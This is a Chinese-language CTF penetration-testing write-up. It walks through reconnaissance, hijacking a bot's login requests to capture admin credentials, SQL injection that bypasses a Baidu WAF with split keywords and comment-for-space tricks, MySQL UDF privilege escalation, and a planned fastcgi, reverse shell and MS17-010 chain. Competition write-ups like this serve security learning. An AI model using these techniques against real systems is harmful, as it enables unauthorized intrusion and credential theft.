内容简介:CUIT CTF Pentest Writeup
开始打这个比赛的时候,看到渗透题还没人做,以为是刚开始比赛呢,结果没想到已经是尾声了[facepalm]。
渗透题挺好玩,常规渗透流程即可。
0x01 FLAG 1
dnsbrute 跑一下:
Domain,Type,Record rootk.pw,CNAME,rootk.pw.cname.yunjiasu-cdn.net mail.rootk.pw,CNAME,mail.rootk.pw.cname.yunjiasu-cdn.net ns2.rootk.pw,A,115.29.36.83 ns1.rootk.pw,A,115.29.36.83
NS 服务器,看起来就能日,nmap:
Nmap scan report for 115.29.36.83 Host is up (0.022s latency). Not shown: 65526 closed ports, 3 filtered ports PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 111/tcp open rpcbind 443/tcp open https 8080/tcp open http-proxy 40403/tcp open unknown
打开 8080 和 443,一样的东西:

扫描目录:
[01:31:15] 200 - 0B - /config.php [01:31:15] 200 - 0B - /config.php [01:31:17] 301 - 312B - /css -> https://115.29.36.83/css/ [01:31:20] 200 - 73B - /edit.php [01:31:21] 403 - 287B - /error/ [01:31:23] 301 - 314B - /fonts -> https://115.29.36.83/fonts/ [01:31:27] 200 - 6KB - /index.php [01:31:28] 200 - 6KB - /index.php/login/ [01:31:32] 200 - 73B - /main.php [01:31:48] 301 - 315B - /static -> https://115.29.36.83/static/ [01:31:51] 301 - 314B - /tools -> https://115.29.36.83/tools/
但是 443 可以列目录,打开 tools 目录:

有个 bot.py
import requests url = 'http://10.211.55.3/program/sctf-web-111/admin_log/index.php' r = requests.get(url) if 'action="index.php"' in r.content and 'name="user"' in r.content and 'name="pass"' in r.content: print 'Ok!' data = { 'user':'admin', 'pass':'123456' } res = requests.post(url,data=data) if 'Login Successed' in res.content: print 'Login Successed' else: print 'Error!'
10.211.55.3,这个是 Parallels Desktop 的 IP。反正看起来就是个测试服务有没有挂的东西吧。
看了下 edit.php,发现可以在未登录的情况下修改 IP。这里是个预期外的解,但是既然出题人写出来的漏洞,那就不客气啦。

联想到 bot.py,那么我在服务器上监听了 80,看看有什么返回内容:

GET 了一个域名 admin_log.rootk.pw。把页面扒下来,然后用 PHP 返回页面内容:

得到结果:

登陆不进去,问了下出题人,他说“输入错误密码为了防止钓鱼”。感觉这里有点脑洞了其实。
加上一句代码:
if ($_POST['user'] == 'test') { echo "<script>alert('Username Or Password Error !');</script>"; }
然后拿到密码:
user=sycMovieAdmin&pass=H7e27PQaHQ8Uefgj
搞定:

0x02 NO FLAG 2
这个我没想做了,因为比赛已经快结束了。第一道题做完大概晚上七点半左右。
从注入开始:
http://www.rootk.pw/single.php?id=1
id 可以注入,但是有一个百度的 WAF 拦着。fuzz:


发现程序过滤了空字符:

这样就可以 bypass 百度的 WAF:
SELECT -> SE LECT
因为过滤了空格:
空格 -> / **/

写一个 sqlmap 的 tamper:

跑了一堆数据,没啥用。
既然是模拟 root,估计是 UDF。但是需要写文件。又因为文件很大,还要分段写入:


然后 create function,接着可以执行了:

然后在服务器上翻到了一些东西:

登陆邮箱拿到了网络拓扑图:

然后找到 bakup 服务器是 10.10.10.200,开了 80 端口,存在 PHP 服务。 目前我的进度就到此为止。
0x03 FLAG 2
剩下是出题人说的思路,和我想的差不多,如果时间够的话应该就能搞定了。
- 通过 fastcgi 打 10.10.10.200
- 反弹一个 shell,然后代理进入内网
- 通过 MS17-010 打 Windows 2008
- 应该就能拿到 FLAG 2 了
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。